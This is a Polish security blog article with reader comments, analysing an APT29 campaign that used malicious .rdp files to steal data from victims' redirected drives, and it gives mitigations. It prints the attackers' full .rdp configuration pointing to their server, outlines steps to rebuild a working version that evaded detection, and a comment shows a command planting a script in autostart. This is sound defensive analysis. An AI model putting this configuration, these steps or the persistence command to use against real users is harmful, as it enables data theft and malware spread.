Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Nowy sposób na kradzież danych z systemów Windows – malware via RDP, kampania rosyjskiej grupy APT29
Rosyjska grupa APT „Midnight Blizzard” wykorzystuje pliki .rdp
w kampanii malware, która umożliwia kradzież danych z dysków użytkowników oraz dystrybucję złośliwego oprogramowania w sieci ofiary. Atak polega na oszukaniu użytkownika, aby otworzył spreparowany plik .rdp
, co skutkuje kradzieżą danych i potencjalnym zainfekowaniem innych urządzeń. Nasi pentesterzy natrafili na ślady tej kampanii – zapraszamy do zapoznania się z ich badaniami.
Pewnego razu podczas rutynowego przeglądania portalu LinkedIn, natrafiliśmy na wpis dotyczący nowej kampanii malware wycelowanej w pracowników działu IT. Post ten dosyć ogólnikowo wspominał o rzeczywistym procederze, jaki miał miejsce podczas wspomnianej kampanii. Ważną informacją była natomiast nazwa pliku użytego podczas ataku: AWS IAM Configuration.rdp
Na jej podstawie udało nam się odszukać informacje o istniejącej kampanii realizowanej przez rosyjską grupę APT “Midnight Blizzard”.
W jaki sposób dochodziło do infekcji i możliwości pozyskania danych wrażliwych ofiar?
Według naszych analiz napastnik mógł przygotować serwer RDP, na którym uruchamiana była aplikacja odczytująca dane wrażliwe udostępnionych w sesji dysków (w tym również podłączonych do komputera dysków sieciowych oraz urządzeń pamięci masowej). Rzeczywistego działania aplikacji na zdalnym pulpicie nie udało się ustalić, ponieważ w trakcie naszych badań wszystkie serwery RDP napastników były już wyłączone.
Biorąc jednak pod uwagę możliwości, jakie daje montowanie dysków lokalnych i sieciowych do połączenia RDP, możemy przypuszczać następujące scenariusze (w zależności od uprawnień użytkownika na komputerze ofiary):
- kradzież danych wrażliwych, w tym zapisanych haseł oraz portfeli kryptowalut,
- kopiowanie malware na dyski sieciowe w celu zainfekowania większej ilości maszyn,
- pozostanie na komputerze ofiary poprzez wgranie aplikacji do autostartu systemu Windows, bądź podszycie się pod inną często używaną aplikację (np. z pakietu Microsoft Office).
Poniżej przedstawiamy wycinek kodu jednego z plików “.rdp
”, które były wysyłane w trakcie kampanii:
alternate full address:s:us-west-1.ukrtelecom.cloud
full address:s:us-west-1.ukrtelecom.cloud
drivestoredirect:s:*
username:s:
redirectprinters:i:1
redirectcomports:i:1
redirectsmartcards:i:1
redirectwebauthn:i:1
redirectclipboard:i:1
redirectposdevices:i:1
audiocapturemode:i:1
remoteapplicationicon:s:C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\Assets\Health.contrast-white.ico
remoteapplicationmode:i:1
remoteapplicationname:s:AWS Secure Storage Connection Stability Test v24091285697854
remoteapplicationexpandcmdline:i:0
remoteapplicationcmdline:s:%USERPROFILE% %COMPUTERNAME% %USERDNSDOMAIN%
remoteapplicationprogram:s:||AWS Secure Storage Connection Stability Test v24091285697854
audiomode:i:0
screen mode id:i:1
use multimon:i:0
desktopwidth:i:1920
desktopheight:i:1080
session bpp:i:32
compression:i:1
keyboardhook:i:2
videoplaybackmode:i:1
connection type:i:7
networkautodetect:i:1
bandwidthautodetect:i:1
displayconnectionbar:i:1
enableworkspacereconnect:i:0
disable wallpaper:i:0
allow font smoothing:i:0
allow desktop composition:i:0
disable full window drag:i:1
disable menu anims:i:1
disable themes:i:0
disable cursor setting:i:0
bitmapcachepersistenable:i:1
autoreconnection enabled:i:1
authentication level:i:2
prompt for credentials:i:0
negotiate security layer:i:1
alternate shell:s:
shell working directory:s:
gatewayhostname:s:
gatewayusagemethod:i:4
gatewaycredentialssource:i:4
gatewayprofileusagemethod:i:0
promptcredentialonce:i:0
gatewaybrokeringtype:i:0
use redirection server name:i:0
rdgiskdcproxy:i:0
kdcproxyname:s:
enablerdsaadauth:i:0
redirectlocation:i:0
winposstr:s:0,3,0,0,800,600
signscope:s:[…podpis cyfrowy…]
Analizując konfigurację, możemy na pierwszy rzut oka dostrzec, że skrypt ma na celu zmylić użytkownika. Pierwszy element to ikona, która pojawia się po uruchomieniu pliku “.rdp
”.
remoteapplicationicon:s:C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\Assets\Health.contrast-white.ico
Następnie na serwerze RDP miała uruchomić się aplikacja (prawdopodobnie służąca do kradzieży danych z dysków użytkownika):
remoteapplicationname:s:AWS Secure Storage Connection Stability Test v24091285697854
remoteapplicationexpandcmdline:i:0
remoteapplicationcmdline:s:%USERPROFILE% %COMPUTERNAME% %USERDNSDOMAIN%
remoteapplicationprogram:s:||AWS Secure Storage Connection Stability Test v24091285697854
Przypuszczamy, że atakujący posłużyli się serwerem typu reverse proxy, który modyfikował połączenie tak, aby ominąć monit o logowaniu się do zdalnego hosta. W momencie, w którym system użytkownika wysyła automatycznie dane potrzebne do logowania, serwer podmienia je na prekonfigurowane. Dzięki temu uruchomienie sesji RDP nie pokaże nam komunikatu z prośbą o zalogowanie.
Przykład odtworzonego przez nas malware, który nie wymagał podania danych uwierzytelniających oraz wykradał plik “tajne.txt
” z pulpitu ofiary:
Odtworzenie działania malware
Jak widać na załączonym materiale, odtworzona przez nas wersja malware pomimo rozszerzenia “.rdp
”, w końcowym etapie uruchamia użytkownikowi program WordPad. Kroki jakie zostały podjęte do uzyskania takiego efektu były następujące:
- Przygotowanie serwera RDP (preferencyjnie Windows Server, który domyślnie pozwala na ustanowienie wielu sesji jednocześnie).
- Przygotowanie konta lokalnego bez nadmiarowych uprawnień, które będzie kontem służącym do połączenia dla ofiar.
- Przygotowanie specjalnego serwera reverse proxy, którego zadaniem będzie podmiana danych logowania przekazywanych podczas pierwszej próby połączenia.
- Utworzenie i skonfigurowanie Remote App na serwerze zdalnym.
- Utworzenie skryptu, który po połączeniu ma za zadanie wykradać dane z komputera ofiary, wysyłać je na serwer zewnętrzny oraz uruchamiać widoczną dla użytkownika aplikację (w naszym przypadku WordPad).
- Utworzenie odpowiedniego pliku “
.rdp
”. - Przygotowanie ścieżki certyfikacji na zdalnym hoście w celu utworzenia podpisu cyfrowego aplikacji.
- Podpisanie pliku “.rdp” w celu uniknięcia dodatkowych promptów z informacją o niezaufanym dostawcy.
Wykrywalność malware
Chcąc zweryfikować wykrywalność heurystyki naszej aplikacji, poddaliśmy ją analizie przez serwis VirusTotal oraz spróbowaliśmy przesłać potencjalnie niebezpieczny plik za pomocą poczty Gmail. Ku naszemu zdziwieniu, przygotowana przez nas aplikacja, posiadająca inne adresy hostów, niż te użyte w oryginalnym ataku na żadnym etapie nie została wykryta jako niebezpieczne oprogramowanie. Gmail natomiast zapewnił nas, że przesłany e-mail został przeskanowany i nie zawiera wirusów.
Zrzut ekranu z portalu VirusTotal:
Zrzut ekranu otrzymanego maila:
Zapobieganie
Zapobieganie takim działaniom jest utrudnione ze względu na konieczność specyficznej konfiguracji w środowisku domenowym, bądź w samym systemie użytkownika. Najważniejszym krokiem jest wyłączenie możliwości przekierowania dysków w połączeniach RDP. Znajduje się ona w rejestrze (HKEY_LOCAL_MACHINE\Software\Microsoft\Terminal Server Clients
), gdzie należy dodać klucz DisableDriveRedirection
(REG_DWORD
) o wartości 1.
Dodatkowo warto rozważyć czy nie zablokować pozostałych opcji, takich jak:
- udostępnianie schowka,
- udostępnianie drukarek w sieci (atak jest równie niebezpieczny, jeśli urządzenie zawiera podatność pozwalającą na zdalne wykonywanie komend).
Powinno się rozważyć również skonfigurowanie dodatkowych warstw zabezpieczeń takich jak blokada ruchu (np. na firewallu) dla protokołu RDP poza pulę adresów IP organizacji. Ograniczyłoby to dodatkowo możliwość realnego ataku, bądź pozyskania hashy NTLM zalogowanego użytkownika. Z poziomu serwera poczty należy zablokować możliwość odbierania plików z potencjalnie niebezpiecznymi rozszerzeniami (w tym również “.rdp
”).
Wnioski końcowe
Bądźmy czujni na przychodzące do nas wiadomości. Wszelkie podejrzenia zgłaszajmy osobom odpowiedzialnym za bezpieczeństwo w organizacji. Nie uruchamiajmy nieznanych i niepotrzebnych nam aplikacji na swoim urządzeniu. Warto również zwracać uwagę na rozszerzenia plików, których mamy zamiar użyć. W przypadku Windows 10/11 można aktywować funkcję pokazującą rozszerzenia znanych typów plików w następującym menu eksploratora plików.
~Kamil Szczurowski & Robert „ProXy” Kruczek
W jaki sposób można zainstalować cokolwiek na kompie ofiary przez RDP?
Właśnie w ten opisany powyżej ;) ofiara pobiera plik RDP, z konfiguracją udostępniania swoich dysków, na RDP uruchomiona jest złośliwa apka, gdy nastąpi połączenie mamy pełen dostęp do dysków ofiary (można wtedy wgrywać/pobierać/nadpisywać).
Wystarczy, że masz podpięty do serwera rdp dysk lokalnego komputera..
copy costam.ps1 %userprofile%\sciezkado\autostart
I gotowe..
mam wrażenie, że zaproponowane ustawienie GPO chyba dotyczy hosta, więc ustawienie go na stacji klienckiej raczej nic nie da w kontekście opisywanego ataku.
Właśnie chodzi o to, by wyłączyć udostępnianie hostowi RDP zasobów gościa – wszystko jest poprawnie..
Można wyłączyć polisa gpo oraz wpisem do rejestru, moje pytanie; mimo wskazanych sugestii nadal automatycznie mapowane są dyski, które podłączam później … infekowany jest np pendeive który następnie rozpropaguje złośliwe oprogramowanie
no nie tak to działa, opisywane ustawinie dotyczy hosta więc sytuacji kiedy dołączamy się po RDP do tej stacji na której realizujemy ustawienia i zadziała jak ktoś będzie się chciał podłączyć do „gościa” . Prosze sprawdzić – u mnie działa (a w zasadzie nie działa) jak opisałem
Dobry opis. Słabo że Windows nie pokazuje żadnego monitu związanego z Zone.Identifier ustawionym na URLZONE_INTERNET
„Przypuszczamy, że atakujący posłużyli się serwerem typu reverse proxy, który modyfikował połączenie tak, aby ominąć monit o logowaniu się do zdalnego hosta. W momencie, w którym system użytkownika wysyła automatycznie dane potrzebne do logowania, serwer podmienia je na prekonfigurowane.”
Dałoby się coś takiego zrobić z SMB? Chyba nie, bo z tego co rozumiem serwer musi kryptograficznie udowodnić że zna hasło związane wysłanym hashem NTLM. Czemu tutaj to tak nie działa?
Klikacie obce pliki RDP? ;) ja w ogóle nie używam plików RDP. W appce wybieram sobie hslost i potem wklejam hasełko z keepassa.
no nie tak to działa, opisywane ustawinie dotyczy hosta więc sytuacji kiedy dołączamy się po RDP do tej stacji na której realizujemy ustawienia i zadziała jak ktoś będzie się chciał podłączyć do „gościa” . Prosze sprawdzić – u mnie działa (a w zasadzie nie działa) jak opisałem